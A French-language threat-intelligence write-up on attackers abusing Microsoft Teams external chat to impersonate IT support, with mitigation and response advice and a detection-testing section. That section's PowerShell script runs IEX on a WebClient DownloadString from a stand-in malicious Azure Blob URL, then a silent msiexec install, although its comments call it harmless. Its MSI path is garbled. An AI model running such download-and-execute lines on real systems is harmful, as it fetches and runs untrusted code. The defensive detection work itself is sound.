Abus du Chat Externe de Microsoft Teams Permet un Accès Initial

Résumé

Les acteurs de la menace abusent des fonctionnalités de chat externe de Microsoft Teams pour exécuter des escroqueries par usurpation d’identité et livrer des fichiers malveillants. Les attaquants utilisent des noms d’affichage à thème IT et des locataires Microsoft 365 jetables pour paraître légitimes et gagner la confiance des victimes. Après avoir établi le contact, ils comptent souvent sur le vishing et sur les outils de surveillance et de gestion à distance (RMM) pour obtenir un accès manuel.

Enquête

Arctic Wolf a analysé plus de 400 incidents impliquant des abus de chat externe sur Microsoft Teams. L’enquête a identifié un schéma récurrent dans lequel le bombardement de courriels créait une urgence avant que les attaquants ne contactent les victimes via Teams tout en se faisant passer pour le support informatique. Les chercheurs ont également observé un passage des locataires .onmicrosoft.com vers des .top domaines contrôlés par les attaquants pour la mise en scène des charges utiles.

Atténuation

Les organisations devraient remplacer une politique d’accès externe ouverte par une liste d’autorisation de domaines de confiance dans le centre d’administration Teams. Désactiver le chat avec des comptes non gérés ou des comptes consommateurs Teams est également recommandé. Restreindre des outils tels que Quick Assist et bloquer les logiciels RMM non sanctionnés peut encore réduire le risque d’exploitation subséquente.

Réponse

Lorsqu’une activité suspecte de chat externe sur Teams est détectée, les organisations devraient vérifier l’identité du demandeur par un canal de communication hors bande. Les équipes de sécurité devraient corréler les événements ChatCreated avec la télémétrie des terminaux et des identités pour découvrir un potentiel compromis. Isoler rapidement les hôtes affectés et révoquer les jetons de session pour les utilisateurs potentiellement compromis est essentiel.

Exécution de simulation

• Narration de l’attaque & Commandes : L’objectif de l’adversaire est d’établir une persistance en installant un service malveillant. Pour éviter la détection, ils essaient de télécharger une charge utile depuis un conteneur de stockage public Azure Blob. Ils utilisent un « one-liner » PowerShell qui combine Invoke-Expression (abrégé comme IEX) avec une URL pointant vers blob.core.windows.net. Une fois le script exécuté en mémoire, il déclenche l’exécution de msiexec.exe pour installer la charge utile finale, complétant la chaîne depuis la commande initiale jusqu’à l’installation au niveau système.

• Script de test de régression :

  # Script de simulation : Exécution de charge utile via PowerShell et Azure Blob
  # Ce script imite exactement les modèles recherchés par la règle.
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Simulation de l'exécution du bloc de script PowerShell avec l'URL Azure Blob..."
  # Cette ligne déclenche la logique de EventID 4104 (IEX + blob.core.windows.net)
  Invoke-Expression "Write-Output 'Downloading from $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] Simulation de l'exécution de MSI..."
  # Cette ligne déclenche la logique de EventID 4688 (msiexec.exe)
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• Commandes de nettoyage :

  # Nettoyage : Aucun fichier persistant n'est réellement créé par ce script de simulation
  # car il utilise des URL fictives et des chemins MSI système standards.
  Write-Host "[+] Simulation terminée. Aucun artefact laissé sur le système."